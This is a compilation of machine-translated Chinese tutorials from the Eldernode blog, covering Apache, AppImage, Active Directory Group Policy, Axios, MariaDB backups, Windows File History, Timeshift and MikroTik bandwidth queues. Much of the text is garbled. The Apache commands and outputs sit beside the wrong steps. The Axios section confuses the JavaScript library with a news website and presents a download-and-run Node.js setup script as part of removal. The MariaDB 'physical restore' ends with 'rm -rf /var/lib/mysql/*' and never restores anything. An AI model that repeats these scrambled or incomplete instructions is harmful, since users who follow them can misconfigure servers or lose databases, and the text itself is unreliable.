`<VirtualHost *:80> ServerAdmin [[email protected]](/cdn-cgi/l/email-protection) ServerName your_domain ServerAlias www.your_domain DocumentRoot /var/www/your_domain ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>`
您现在可以保存并关闭文件。
使用以下命令通过 a2ensite 工具启用文件:
禁用 000-default.conf 中定义的默认站点:
`sudo a2ensite your_domain.conf`
并测试配置错误:
`sudo a2dissite 000-default.conf`
输出
`sudo apache2ctl configtest`
接下来,重新启动 Apache 来实现您的更改:
`Syntax OK`
到目前为止,Apache 应该已经在为你的域名服务了。您可以通过导航到http://your _ domain来测试这一点,您应该会看到类似这样的内容:
`sudo systemctl restart apache2`
6-如何熟悉重要的 Apache 文件和目录
至此,您已经知道如何管理 Apache 服务本身,所以应该花几分钟时间熟悉一些重要的目录和文件。
内容
/var/www/html :实际的 web 内容,默认情况下只包含您之前看到的默认 Apache 页面,从 /var/www/html 目录提供。这可以通过修改 Apache 配置文件来改变。
- 服务器配置
/etc/Apache 2:Apache 配置目录。所有的 Apache 配置文件都在这里。
- ****/etc/apache 2/Apache 2 . conf:主 Apache 配置文件。可以对其进行修改,以更改 Apache 全局配置。这个文件负责加载配置目录中的许多其他文件。
- ****/etc/apache 2/ports . conf:这个文件指定了 Apache 将要监听的端口。默认情况下,Apache 监听端口 80,当启用了提供 SSL 功能的模块时,还会监听端口 443。
- ****/etc/Apache 2/sites-available/:可以存放每个站点虚拟主机的目录。Apache 不会使用在这个目录中找到的配置文件,除非它们被链接到 站点启用的 目录。通常,所有服务器块配置都在该目录中完成,然后通过使用 a2ensite 命令链接到另一个目录来启用。
- ****/etc/Apache 2/sites-enabled/:存放已启用的每站点虚拟主机的目录。通常情况下,它们是通过链接到 站点可用 目录中的配置文件来创建的,带有 a2ensite 。Apache 在启动或重新加载以编译一个完整的配置时,会读取这个目录中的配置文件和链接。
- ****/etc/Apache 2/conf-available/、/etc/Apache 2/conf-enabled/:这些目录与sites-available和sites-enabled目录的关系相同,但用于存储不属于虚拟主机的配置片段。conf-available目录下的文件可以用 a2enconf 命令启用,用 a2disconf 命令禁用。
- /etc/Apache 2/MODS-available/、/etc/Apache 2/MODS-enabled/:这些目录分别包含可用和启用的模块。文件以结尾。load 包含加载特定模块的片段,而文件以结尾。conf 包含这些模块的配置。可以使用 a2enmod 和 a2dismod 命令启用和禁用模块
- 服务器日志
****/var/log/apache 2/access . log:默认情况下,对 web 服务器的每个请求都记录在这个日志文件中,除非 Apache 被配置为不这样做。
- ****/var/log/Apache 2/error . log:默认情况下,所有错误都记录在这个文件中。Apache 配置中的 LogLevel 指令指定了错误日志将包含多少细节。
结论
在本文中,您了解了如何在 Ubuntu 20.04 上安装 Apache Web 服务器。既然您已经安装了 web 服务器,那么您就有了许多选择,包括可以提供的内容类型和可以用来创建更丰富体验的技术。如果你对这个主题感兴趣,可以找到更多关于如何在 Debian 10 上安装 Apache Web Server 和 如何在 Ubuntu 20.04 上安装带有 Apache 的 WordPress 的文章。
In this article, you learned How To Install The Apache Web Server On Ubuntu 20.04. Now that you have your web server installed, you have many options for the type of content you can serve and the technologies you can use to create a richer experience. In case you are interested in this subject, find more articles on How to install Apache Web Server on Debian 10 AND How to install WordPress with Apache in Ubuntu 20.04.
教程在 ubuntu 20.10 | Eldernode 上安装和使用 appimage
教程如何在 ubuntu 20.10 Linux 上安装使用 app image。许多 GNU/Linux 操作系统用户一直需要像 Windows 和 Mac 操作系统用户一样下载软件,并在任何类型的 Linux 发行版上运行,而没有任何顾虑。除了普通用户之外,该操作系统的开发人员一直希望有一种结构,只编写一次他们的软件,然后针对不同的发行版发布,而不再需要根据每个发行版的需要对软件进行更改。AppImage 是一个满足 Linux 社区用户需求的工具,您将在下面了解到更多关于它的功能。在本文中,我们试图首先向您介绍 AppImage,然后教您如何在 ubuntu 20.10 上安装和使用 appimage。如果你想购买 Linux VPS 服务器,你可以使用 Eldernode 的软件包。
如何在 ubuntu 20.10 上安装和使用 app image
AppImage 允许开发者以专有的 AppImage 格式发布他们的 Linux 软件,使其兼容所有常见的 GNU/ Linux 发行版。所以这个以“开发一次,然后在每个发行版中运行”为口号的工具已经能够满足大多数普通 Linux 发行版用户的需求,您将熟悉这个工具的一些最常见的特性:
1。易用性
AppImage 的基本思想是,每个应用程序相当于一个文件,每个文件包含一个应用程序,其中包含运行该应用程序所需的所有文件。换句话说,每个可执行文件没有其他依赖关系。就像码头工人一样。
2。安全
AppImage 格式允许用户从主要开发者那里获得他们需要的应用程序,并且该平台消除了任何接口。这将增加文件的安全系数。
3。易于安装
运行 AppImage 格式不需要 root 权限,此外,该工具的专有格式无需安装即可实现。
使用 appimage 有什么好处?
该网站开发的方法非常方便实用。要使用一个软件,你所要做的就是下载 appimage 文件,然后点击一下就可以在任何发行版上运行它。
事实上,这个站点所做的就是将一个应用程序需要运行的所有文件和库放在一个 appimage 文件中。这就是为什么 appimage 程序不需要任何文件就可以在操作系统上运行,因此是可移植的,您可以在几乎所有的 Linux 发行版上运行它们。
使用 appimage 的好处如下:
1- 不需要安装 appimage 形式的应用程序。
2- 程序运行不需要 root 权限。
3- 运行程序不会改变系统中的任何文件或设置。
4- 程序运行不需要操作系统中的任何文件。
5- 下载一次程序,在所有 Linux 发行版上使用。
6- 应用程序是可移植的。
7- 如果你是开发者,你可以很容易地将自己编写的程序转换成 appimage 格式,送给用户。
教程在 ubuntu 20.10 上安装并运行 app image
关于 AppImage 有趣的事情是,你不需要安装应用程序。但是您可以轻松运行它。在下面,我们将教你如何以两种方式运行 AppImage。
如何使用属性运行 app image
1。第一步,下载 AppImage app。
2。然后右击它,点击属性。
3。点击权限选项卡。
4。勾选允许文件作为程序执行。
5。现在关闭****属性窗口,双击运行程序。
如何使用终端运行 app image
运行 AppImage 的第二种方法是使用终端。为此,打开您选择的终端,转到应用程序映像目录并运行以下命令:
chmod u+x <AppImageFile>
现在,您可以双击 AppImage 来运行它。
结论
在本文中,我们试图教你如何在 ubuntu 20.10 上安装和使用 appimage,这样你就可以用它在任何发行版上运行软件,只需点击一下,无需安装。
了解如何将组策略应用到 Active Directory 中的计算机
原文:https://blog.eldernode.com/apply-group-policy-to-a-computer-in-active-directory/
【更新日期:2021-01-29】如你所知,GPO 正在应用于计算机。最常见的方法是将计算机的 GPO 链接到计算机 OU。默认情况下,策略适用于包含 OU 的所有计算机。如果只有少数特定计算机有特定的策略,那么这些计算机应该在 Active Directory 计算机组中。在本文中,我们将学习如何在 Active Directory 中对计算机应用组策略。你可以访问 Eldernode 中提供的包来购买 Windows VPS 服务器。加入我们来学习这个教程。
教程将组策略应用到 Active Directory 中的计算机
在本教程中,我们将了解如何将 GPO 应用到 Active Directory 中的计算机组。这种方法比为想要这样做的计算机创建一个新的 OU 要有效得多。
将组策略应用到 Active Directory 中的计算机
在本例中,计算机位于名为 asaputra.com 的域中,域控制器安装在 r 2 版的 Windows Server 2012 上。所有客户端计算机都安装了 Windows 10,并处于生产阶段。名为“安全计算机策略”的策略已经创建并链接到名为“Prod”的 OU。
如何过滤安全计算机策略以应用于 WKS002 和 WKS003
以下分步说明显示了如何过滤适用于 WKS002 和 WKS003 的安全计算机策略。
创建群组
该组应建立在策略所链接的 OU 中。在 Active Directory 用户和计算机控制台上打开 OU 。
右键点击页面的空白区域,选择新建 > > 组。
输入组名。
在全局范围部分,选择全局。
从组类型部分,选择安全。
点击确定保存设置并创建群组。如下所示,组必须显示在 OU 中。
添加目标电脑为群组成员
双击组名打开设置。选择成员选项卡,点击添加按钮。
将打开以下窗口。点击对象类型并确保计算机已勾选。
现在用分号(;)把它们分开。然后点击查看姓名。如果键入正确,名称将如下所示显示,下面有一个破折号。
确保所有目标计算机都是该组的成员,然后单击 OK 确认。
更改 GPO 安全设置
登录到组策略控制台。选择您想要更改的策略,然后进入范围选项卡。
在安全过滤部分,选择认证用户,点击移除。
在同一个安全过滤区域,点击添加按钮。
输入在上一步中创建的组的名称。点击检查姓名确保输入的姓名正确,然后点击确定。
确保该组已添加到列表中。
如何检查正确应用的策略
我们可以确保政策得到正确应用。在客户端计算机上,以管理员身份运行 cmd 并输入命令 gpresult / r / SCOPE COMPUTER 。在属于 SECURED_COMPUTER 组(即 WKS002 和 WKS003)的计算机上,您会看到结果被正确应用。
但是在组外的计算机上,结果显示没有应用任何策略。
请记住,将 GPO 应用于计算机组有点令人困惑。如果您看到一个 GPO 尚未应用到作为目标组成员的计算机,那么该计算机可能还没有意识到它是该组的成员。要检查您的计算机成员资格,请使用上面的命令并向下滚动查看下面的信息。
结论
在本文中,我们试图全面解释如何使用 Windows Server 2012 中的映像将组策略应用于 Active Directory 中的计算机。如何筛选安全计算机策略以应用于 WKS002 和 WKS003 也是一步一步教授的。最后,对 CMD 环境下的工作结果进行了评估。
In this article, we tried to fully explain how to apply Group Policy to a computer in Active Directory using images in Windows Server 2012. How to filter Secured Computer policy to apply to WKS002 and WKS003 was also taught step by step. Finally, the results of the work in the CMD environment were evaluated.
如何在 Ubuntu 20.04 上安装带有 React 的 Axios-elder node 博客
了解如何在 Ubuntu 20.04 Linux 上安装带有 React 的 Axios。让我们看看这个美国新闻网站是什么,以及如何和为什么你可以使用它!你可能很有兴趣知道这个网站的名字是基于希腊语(áxios),意思是“有价值的”!你的时间和金钱也是值得的。所以,看看我们最好的 Ubuntu VPS 服务器操作系统包,享受我们的服务吧。
什么是 Axios?
成立于 2016 年,类似于 Fetch API,用于执行 HTTP 请求。这个轻量级 HTTP 客户端基于 XMLHttpRequests 服务。大多数 Axios 文章都很容易浏览,因为它们不到 300 个单词,使用了要点,并且通常都很简短和就事论事。
教程如何在 Ubuntu 20.04 上安装带有 React 的 Axios】
当您决定运行一个动态项目时,它需要在某个时候与 RESTFUL API 接口,使用 Axios 是一种简单的方法。您可以使用 Axios 作为库来帮助您向外部资源发出 HTTP 请求。在 React(也称为 React.js 或 ReactJS)应用程序中,您需要从外部 API 检索数据,以便可以在它的网页上显示这些数据。如果你已经看到人们使用 Javascript Fetch API 来检索外部数据,但是它有一些限制。因此,正如您所知,Axios 是为处理 HTTP 请求和响应而设计的,这是执行此操作的更好、更受欢迎的方式。
要创建和运行 React 应用程序,您的系统中需要 Node.js。找到我们的文章在 Ubuntu 20.04 上安装 Node.js。
如何将 Axios 添加到项目中
首先,打开您的终端,将目录切换到您的项目,将 Axios 添加到项目中:
cd eldernode-tutorial
然后,使用下面的命令和 npm 来安装 Axios :
npm install axios
或者你可以用 bower:
bower install axios
你可以通过运行纱线来安装:
yarn add axios
如何移除 Axios 包
要从 node_modules 中卸载或删除程序包,请使用以下命令:
`sudo npm uninstall axios`
然后,您应该查看 node.js 安装的版本。否则,通过运行以下命令,使用 **curl** 从主目录中检索安装文件:
`cd ~ curl -sL https://deb.nodesource.com/setup_14.x -o setup_node.sh`
然后,用 sudo 运行下载的脚本:
`sudo bash setup_node.sh`
这样,PPA 将被添加,缓存将自动更新。因此,键入:
`sudo apt-get install -y nodejs`
通过在系统中添加 node.js 和 npm,也可以通过运行 **node -v** 查看系统中 node.js 的版本来确认。现在用下面的命令安装 **create react app** :
`sudo npm install -g create-react-app`
要检查版本,请运行以下命令:
`create–react–app—version`
就是这样!现在,您已经准备好创建一个应用程序并开始开发。
结论
在本文中,您已经了解了如何在 Ubuntu 20.04 上安装带有 React 的 Axios。您可以使用 React 来构建用户界面。如果你有兴趣阅读更多内容,可以找到我们关于如何在 Windows 上安装 React JS 的文章。
教程备份和恢复一个 MariaDB 数据库- Eldernode 博客
原文:https://blog.eldernode.com/backup-and-restore-a-mariadb-database/
MariaDB 是最流行的开源关系数据库之一。这个数据库是由最初的 MySQL 开发人员创建的,并保证保持开源。MariaDB 是 MySQL 分支的 DBMS 或数据库管理系统,使用 MariaDB 存储引擎。在这篇文章中,我们将教你如何备份和恢复一个 MariaDB 数据库。如果你想购买一台 VPS 服务器,你可以访问 Eldernode 中提供的软件包。
如何备份和恢复一个 MariaDB 数据库
什么是 MariaDB 数据库?
MariaDB 是世界上最流行的数据库服务器之一。这项服务的重要用户包括谷歌、维基百科和脸书。如前所述,MariaDB 是作为一个开源的关系数据库开发的,它提供了一种用于访问数据的 SQL 接口。MariaDB 的最新版本还包括 GIS 和 JSON 功能。
从网站到银行应用,这个数据库实际上将数据转换成广泛应用的结构化信息。MariaDB 被认为是 MySql.的可行替代品因为这项服务非常快速、可扩展且功能强大。通过提供插件、存储引擎和其他工具的强大生态系统,它还可以用于广泛的主题。
MariaDB 的功能包括:
1。该数据库的热门客户
受欢迎的大客户能给一个品牌最大的信任。MariaDB 拥有谷歌、维基百科、WordPress 等知名客户端,增加了这个数据库的可信度。
2。存储引擎
存储引擎在 MariaDB 中得到了很好的发展,可以为用户提供新的功能。在存储中,引擎是 XtraDB 和 Aria。
3。数据库安全
尽管 MariaDB 被认为是 MYSQL 数据库的一个子集,但似乎数据库安全的原则在其开发中受到了更多的关注。所以在使用 MariaDB 时不要担心安全问题。
备份一个 MariaDB 数据库
MariaDB 数据库的备份有两种方式。逻辑备份和物理备份。在本文的其余部分,我们将教您备份 MariaDB 的两种方法。请加入我们。
如何对 MariaDB 进行逻辑备份
在本节中,我们将教您如何对 MariaDB 进行逻辑备份。为此,您必须按顺序执行以下步骤。首先,可以使用以下命令进行逻辑备份:
mysqldump -u root -p inventory > /backup/inventory.dump
上述命令的参数解释如下:
root: 该参数显示连接到 MariaDB 进行备份的用户名。
-p: 使用该参数指定该用户的密码请求。
清单:该参数显示选择备份的数据库。
/backup/inventory.dump: 指定备份文件的路径。
需要记住的一点是,要对所有数据库进行逻辑备份,必须使用-all-databases 选项,如以下命令所示:
mysqldump -u root -p --all-databases > /backup/mariadb.dump
注: 要知道一个逻辑备份的输出是一系列 SQL 语句是很有意思的。
如何对 MariaDB 进行物理备份
在这一节中,我们将教您如何对 MariaDB 进行物理备份。为此,您必须按顺序执行以下步骤。应该注意,有几种工具可用于物理备份。在下文中,我们将向您展示使用 LVM 备份 MariaDB 的过程。
首先,使用以下命令验证 MariaDB 文件存储:
mysqladmin variables | grep datadir
输出:
| datadir | /var/lib/mysql/ |
然后,您需要运行以下命令来检查哪个逻辑卷托管这个位置:
df /var/lib/mysql
现在,您可以通过运行以下命令来确认快照的可用空间量:
vgdisplay vg0 | grep Free
您需要通过运行以下命令连接到 MariaDB,拖动磁盘上的表并锁定它们:
mysql -u root -p
在下一步和另一个终端会话中,您需要使用以下命令创建 LVM 快照:
lvcreate -L20G -s -n mariadb-backup /dev/vg0/mariadb
需要知道的重要一点是,LVM 快照必须足够大,以便从数据库解锁的那一刻起一直到数据库备份完成时都可以更改。因为当存储空间已满,备份失败时,快照就失效了。
现在,在主 MariaDB 会话中使用以下命令打开这些表:
MariaDB [(none)]> UNLOCK TABLES;
请注意以下命令,并运行它们以在所需位置安装快照:
mkdir /mnt/snapshot
mount /dev/vg0/mariadb-backup /mnt/snapshot
在最后一步中,备份后应使用以下命令删除备份快照:
umount /mnt/snapshot
lvremove /dev/vg0/mariadb-backup
如何恢复一个 MariaDB 数据库
正如我们在 MariaDB 备份部分中告诉您的,有两种物理和逻辑方法可以做到这一点。恢复备份有两种逻辑和物理方法。请继续关注本文的其余部分。
您可以很容易地使用以下命令来执行逻辑恢复:
mysql -u root -p inventory < /backup/mariadb.dump
您还必须按照以下步骤执行物理恢复。首先,您需要运行以下命令来验证 MariaDB 文件的存储位置:
mysqladmin variables | grep datadir
输出:
| datadir | /var/lib/mysql/ |
这里重要的一点是,要执行物理恢复,您必须停止使用 MariaDB 子例程命令:
systemctl stop mariadb
最后,您需要使用以下命令删除实际内容:
rm -rf /var/lib/mysql/*
结论
MariaDB 的核心是 Mysql 版本 5,在引擎性能上有一些差异。其实最重要的两个安全问题和调优 MariaDB 已经很努力了,它的生产力比 Mysql 好很多。在本文中,我们试图教您如何备份和恢复一个 MariaDB 数据库。如果愿意可以参考文章教程 Ubuntu 上的 MariaDB 安装。
Windows 10 RDP 管理员- Eldernode 博客上的教程备份文件
原文:https://blog.eldernode.com/backup-files-on-windows-10-rdp/
备份文件是用户应该做的基本任务之一,以便能够在紧急情况下使用它并恢复他们的数据。这将防止损坏,并且您可以在出现问题时恢复和保存丢失的信息。在不同版本的 Windows RDP 管理中,备份 Windows 文件及其结构是相同的。您可以备份安装在操作系统上的应用程序和文件。在这篇文章中,我们将教你如何在 Windows 10 RDP 管理员上备份文件。如果你想购买 Windows 10 RDP 管理员 ,可以查看 Eldernode 网站上提供的套装。
如何在 Windows 10 上备份文件 RDP 管理员
在文件历史的帮助下,如果文件丢失或不可用,您可以恢复文件的以前版本。文件历史自动将特定文件夹保存在备份设备上。它仅备份特定文件夹中的文件,如文档、音乐、图片、视频和桌面,以及存储在您 PC 上的离线 OneDrive 文件,并且您不能将其他文件夹添加到组合中。
要备份未存储在默认文件夹中的文件,您可以将它们添加到上面提到的命名文件夹中,或者考虑第三方备份程序,该程序具有比文件历史记录更多的选项和更大的灵活性。
如何登录 Windows 10 RDP 管理员
首先,进入开始菜单,输入远程桌面:
在这一步,你应该键入你的 IP 地址,然后点击连接。
然后,你要输入你的用户名和密码。
现在,您将收到以下消息。选中不要再询问我是否连接到这台计算机框,然后点击是:
最后,您应该会连接到您的 Windows 10 RDP 管理员:
在本文的续作中,从 Windows Server 教程系列开始,我们将一步步教你如何在 Windows 10 RDP 管理上备份文件。
备份 Windows 10 上的文件RDP 管理员
您可以在 RDP 服务器上设置文件历史来备份文件。首先,点击开始,进入设置。然后你应该选择更新&安全部分:
在接下来的页面中,选择备份,点击使用文件历史在备份下添加一个驱动器。如果您连接了一个可用的备份设备,Windows 将显示它们的列表。现在,您应该选择备份的位置:
您已经启用了文件历史记录,但是它没有备份任何文件。然后设置一些参数。你可以从的【更多选项】中做到这一点,所以点击:
在这一步中,单击备份我的文件并选择您希望备份文件的频率。然后,您必须从保留我的备份部分选择您想要保留备份文件的时间:
现在,“文件历史记录”开始备份一组默认文件夹。如果您想从默认文件夹中移除一些文件夹,只需选择文件夹并点击移除。您可以通过点击【T2 添加文件夹】将任何文件夹添加到默认列表中。
最后,单击 Backup now 开始备份备份集中包含的文件夹和文件。
完成备份后,您可以看到备份的总大小以及日期和时间:
如何在 Windows 10 RDP 管理中恢复文件
如果您丢失或损坏了重要文件,您可以使用文件历史备份来恢复它。
首先,进入设置菜单,选择更新&安全:
然后点击备份并选择更多选项:
在此步骤中,在“更多选项”页面打开后,向下滚动找到“从当前备份中恢复文件”并点击它:
现在,您可以看到文件历史记录备份的所有文件夹。你应该双击你想要的文件夹并打开它。然后找到你的文件并双击它。选择所需文件后,单击绿色按钮恢复文件:
注意:如果原始文件丢失,Windows 会自动恢复到原来的位置。如果文件还在,Windows 会让您替换它。
您可以更改备份目标,但首先,您应该停止使用当前驱动器。再次转到备份部分,选择更新&安全。然后点击更多选项,在当前页面向下滚动,找到停止使用驱动器并点击它:
返回上一页,单击添加驱动器,使用新的备份目标重新开始该过程。通过这样做,您可以使用新的备份目的地重启该过程:
如果您不想再停止文件历史,请转到备份屏幕,关闭自动备份我的文件开关:
就是这样!
结论
Windows 10 RDP 管理有一个文件历史功能,允许您将重要文件自动备份到外部位置。在这篇文章中,我们教你如何备份文件在 Windows 10 RDP 管理使用文件历史。此外,我们解释了如何在 Windows 10 RDP 服务器上恢复文件。我希望这篇文章对你有用。
Windows 10 RDP Admin has a File History feature that allows you to backup important files automatically to an external location. In this article, we taught you how to backup files on Windows 10 RDP Admin using File History. Also, we explained how to restore files on the Windows 10 RDP server. I hope this article was useful for you.
备份 NAS - Eldernode 上共享文件夹中的高容量驱动器
原文:https://blog.eldernode.com/backup-high-volume-drives-in-the-shared-folder-on-nas/
在本文中,您将学习如何备份 NAS 上共享文件夹中的大容量驱动器。由于使用了 UEFI 和 GPT 技术,你可以在 Windows Server 2012 中存储大量数据。这些海量数据的主要问题是备份。如果没有财务或预算问题,可以使用第三方软件,备份多台服务器。但是,如果您的组织在 IT 预算方面比较薄弱,Windows Server 2012 是合适的解决方案。
备份 NAS 上共享文件夹中的高容量驱动器
许多有财务意识的 IT 经理使用 2012 服务器来备份 USB 驱动器。大容量 USB 驱动器存在每个扇区限制 4096 字节的问题。当您备份 3tb 或 4tb 大小的 USB 驱动器时,备份会失败。那么,如何在不花费大量资金的情况下备份大容量驱动器呢?
一个很好的解决方案是使用 NAS ,运行增量备份。市场上有许多不同的 NASs,其中之一是希捷品牌。
如何备份 windows server 中的大容量驱动器
首先,在 NAS 中创建一个可从 Windows Server 获得的共享文件夹。然后在 Windows Server 上安装备份功能,选中它,然后选择备份时间表。
选择要备份的选项:
在备份目的地部分,选择备份到共享网络文件夹选项。
当您在共享文件夹中收到完全备份消息时,点击确定。
接下来,输入 NAS 中的共享文件夹路径。
然后右键单击 MMC 中的本地备份图标,然后在菜单中选择配置性能设置。
选择更快的性能设置选项,将备份作为增量备份运行。备份完成几天后,返回并选择恢复选项。通过选择此选项,您应该会在备份日历中看到几天以粗体显示,这表明增量备份正在正常工作。
结论
在本文中,我们试图完整地讲述在 NAS 上的共享文件夹中备份大容量驱动器的步骤。
在本文中,我们试图完整地讲述在 NAS 上的共享文件夹中备份大容量驱动器的步骤。
如何在 Ubuntu 22.04 上使用 Timeshift 备份
原文:https://blog.eldernode.com/backup-on-with-timeshift-on-ubuntu-22-04/
有时你需要在你的操作系统上备份一些文件。Windows 有一个名为“系统还原”的工具,您可以用它将 Windows 还原到以前的状态。但是 Linux 发行版通常没有用于这个目的的默认应用程序。在本教程中,我们将教你如何在 Ubuntu 22.04 上使用 Timeshift 进行备份。如果您想购买一台 Ubuntu VPS 服务器,我们建议您访问 Eldernode 网站上提供的软件包。
Ubuntu 22.04 上带 Timeshift 的教程备份
什么是时移?
Timeshift 是一款软件,它提供的功能类似于 Windows 上的系统还原或 Mac 上的 Time machine。Timeshift 通过定期拍摄快照来保护您的系统。可以恢复这些快照,并将系统恢复到记录时的准确状态。
该软件在某些方面类似于 rsnapshot、Backln Time 和 Timevault,但方法不同。该程序仅用于保护系统文件和系统设置,不包括文档、照片和音乐等用户文件。
Timeshift 使用两种模式创建文件系统的快照:
1) BTRFS :在这种模式下,使用 BTRFS 文件系统拍摄快照。
2) RSync :在这种模式下,使用 RSync 和硬链接拍摄快照,并且在快照之间共享公共文件以节省磁盘空间。Rsync 也可以在任何地方存储数据。
跟随我们这篇文章,一步步教你如何在 Ubuntu 22.04 上安装 Timeshift。
如何在 Ubuntu 22.04 上安装 Timeshift
首先使用以下终端命令更新您的系统:
sudo apt update
sudo apt upgrade -y
您不需要添加额外的存储库来安装 Timeshift,因为它的包已经存在于 Ubuntu 的默认系统存储库中。因此,使用以下命令开始安装:
sudo apt install timeshift
要有最新的稳定版本,还有另外一个安装 Timeshift 的选项,就是使用发射台 PPA 。为此,首先使用以下命令进入 PPA :
sudo add-apt-repository ppa:teejee2008/timeshift -y
然后执行以下更新以反映新添加的 PPA:
sudo apt-get update
现在运行以下命令来安装最新版本的 Timeshift :
sudo apt install timeshift
这就完成了 Timeshift 的安装。您可以在以下路径中找到该软件:
活动>展示应用>时移
如何使用 Timeshift 创建备份
您可以使用以下两种方法来备份 Ubuntu 22.04 系统:
–> Timeshift 图形用户界面(GUI)
–> Timeshift 的命令行
使用 Timeshift GUI 创建备份
设置 Timeshift 后,您有两种选择:
–>使用 Rsync 协议作为主要备份工具。
–>使用brtf内部文件系统功能。
在本教程中,我们将研究如何使用 Rsync 进行备份。为此,只需遵循以下步骤。第一步是运行时移。
然后,选择 RSYNC 并点击下一步:
Timeshift 在检查文件系统分区后,会为备份文件的位置提供适当的选项。选择后点击下一个:
现在选择您希望备份系统的频率,这将根据选定的快照级别自动创建快照,然后选择下一步:
如下图所示,默认情况下,主目录已被删除。选择是否要备份主目录,然后点击下一步:
您的初始设置现在已经完成。点击结束:
点击创建按钮,让 Timeshift 开始创建备份快照:
现在,您应该会在列表中看到您的第一个备份快照。选择需要恢复的备份快照,点击恢复按钮:
Timeshift 为您提供了如何从备份中恢复的选项。点击下一个的进入默认设置:
Timeshift 提供了从备份中恢复所需的更改列表,以确保在此过程中不会丢失任何数据。选择下一个按钮后,系统将恢复:
使用 Timeshift 的命令行创建备份
您可以使用以下命令轻松创建备份:
sudo timeshift --create
输出将如下所示:
First run mode (config file not found) Selected default snapshot type: RSYNC Mounted /dev/sda2 at /media/root/359151f5-efb9-483d-a738-894d57e2d8c8\. Selected default snapshot device: /dev/sda2 ------------------------------------------------------------------------------ Estimating system size... Creating new snapshot...(RSYNC) Saving to device: /dev/sda2, mounted at path: /media/root/359151f5-efb9-483d-a738-894d57e2d8c8 Synching files with rsync... Created control file: /media/root/359151f5-efb9-483d-a738-894d57e2d8c8/timeshift/snapshots/2020-02-19_18-32-36/info.json RSYNC Snapshot saved successfully (39s) Tagged snapshot '2022-02-23_18-32-36': ondemand
用下面的命令列出系统备份截图:
sudo timeshift --list
输出将是这样的:
Device : /dev/sda2 UUID : 359151f5-efb9-483d-a738-894d57e2d8c8 Path : /media/root/359151f5-efb9-483d-a738-894d57e2d8c8 Mode : RSYNC Device is OK 1 snapshots, 197.7 GB free
Num Name Tags Description ------------------------------------------------------------------------------ 0 > 2022-02-23_18-32-36 O
您可以使用以下命令恢复备份快照:
sudo timeshift --restore --snapshot "2022-02-23_18-32-36"
您可以使用以下命令删除选定的备份快照:
sudo timeshift --delete --snapshot '2022-02-23_18-32-36'
结论
在本文中,您了解了 Timeshift,这是 Ubuntu 22.04 中备份文件的最佳工具之一。我们还研究了如何在 Ubuntu 22.04 上连接 Timeshift 并使用有益的方法备份文件。如果你对这篇文章有任何问题,请在评论区发表。
如何在 Ubuntu 20.04 上使用 Timeshift 备份- Eldernode 博客
原文:https://blog.eldernode.com/backup-on-with-timeshift-on-ubuntu/
Timeshift,一个备份程序,用 Ubuntu 的简单性给了我们和 Acronis 或者 Time Capsule 一样的能力。目前有许多使用备份工具的选择,但是,很少有显示是初学者的理想解决方案。在本文中,我们将一步一步地教你如何在 Ubuntu 20.04 上用 Timeshift 备份。如果你想购买一台 Ubuntu VPS 服务器,你可以访问 Eldernode 中提供的软件包。
Ubuntu 20.04 上带 Timeshift 的教程备份
鉴于操作系统备份的重要性,我们正尝试在 Ubuntu 20.04 上使用 Timeshift 来完成这项工作。在下一节中,我们将向您介绍 Timeshift。然后我们将解释如何安装 Timeshift。最后,我们将一步一步教你如何使用 Timeshift 进行备份。请加入我们。
什么是时移?
timeshift 程序对于备份系统非常有用。TimeShift 软件,除了有简单的图形界面,还可以通过终端使用。默认情况下,该程序不提供用户个人文件的快照,但如果需要,您可以添加个人文件夹和 URL。
TimeShift 根据常规时间表构建快照。您也可以随时手动创建快照。您可以为它设置每小时、每天、每周和每月的计划,并告诉它不时删除旧快照。它甚至有一个“启动快照”选项,可以在每次系统重启后对其进行快照。
在这篇文章的后续部分,加入我们来教你如何在 Ubuntu 20.04 上使用 Timeshift 进行备份。
如何在 Ubuntu 20.04 上安装 Timeshift
在我们开始讨论如何使用 Timeshift 进行备份之前,您需要安装 Timeshift。由于 TimeShift 并没有正式托管在 Ubuntu 库上,您应该使用下面的命令添加一个 PPA :
add-apt-repository -y ppa:teejee2008/ppa
然后,您需要使用以下命令来更新系统包:
apt update
您现在可以使用以下命令在 Ubuntu 20.04 上轻松地安装 Timeshift(T0 ):
apt install timeshift
在 Ubuntu 20.04 上用 Timeshift 备份
在上一节中成功地在 Ubuntu 20.04 上安装了 Timeshift 之后,我们现在想使用 Timeshift GUI 创建一个备份。第一步是使用应用程序菜单搜索 Timeshift 应用程序并启动它。
您将看到系统要求您输入管理员密码。输入密码后,必须点击认证。
在下一步中,您必须从可用选项中选择快照类型,并点击下一步。
然后,您需要选择备份的目标驱动器,然后单击下一步的。
在确定快照级别的下一步中,您可以选择所需的选项。您可以每月、每周、每天或每小时选择这些级别。最后,点击完成。
成功完成上述步骤后,您现在应该单击“创建按钮,开始在下一个窗口上创建快照。应该注意的是,通过这样做,系统开始创建快照。
如下图所示,屏幕上会显示一个快照:
结论
Timeshift 对于备份系统非常有用。Timeshift 还具有自动备份功能。在这篇文章中,我们试图教你如何在 Ubuntu 20.04 上备份 Timeshift,在定义并安装 Timeshift 之后。如果你愿意,可以参考文章介绍 Acronis Backup And Recovery For Linux。
MikroTik - Tutotial - ElderNode 博客中的带宽控制
原文:https://blog.eldernode.com/bandwidth-control-in-mikrotik/
MikroTik 中的带宽控制;虽然带宽有限且昂贵,但限制用户的互联网带宽可能是一种具有成本效益的解决方案。另一方面,这种限制也可以让带宽变得公平。
队列功能在 MikroTik 中执行带宽控制。
在这个教程中,我们将看看的简单队列特性,尽管队列树特性在 MikroTik 中更加完整,但不是 MTCNA 标题的一部分。然而,简单的队列可以满足小型网络的大部分需求。
要从 winbox 的左侧菜单创建队列命令,选择 Queue 打开如下所示的窗口。然后转到简单队列选项卡,通过添加选项添加一个新命令。
在常规选项卡中输入队列的自定义名称。
在目标部分,我们需要输入源 IP 地址(实际上是我们想要设置速度限制的设备的 IP 地址)。请注意,此部分不接受 IP 范围,您必须输入一个或多个 IP。
MikroTik 中的带宽控制
在夏令时字段中输入目的地地址。例如,您希望带宽限制仅在用户连接到特定 IP 时应用。通过省略这一部分,带宽限制适用于所有目的。
在最大限制部分,您还可以发送和接收目的地址的最大带宽量。
突发功能使网页浏览速度很高,但当用户下载量大时速度会降低。
在时间字段中,您可以指定队列命令有效的时间。
在高级选项卡中,您可以将您检查过的数据包交给 MikroTik 。另外,你可以优先考虑卷。优先级可以从 1 到 8 中选择。一个是最高优先级,八个是最低优先级。事实上,第一个带宽专用于高优先级队列。
mikro tik 中的带宽控制示例:
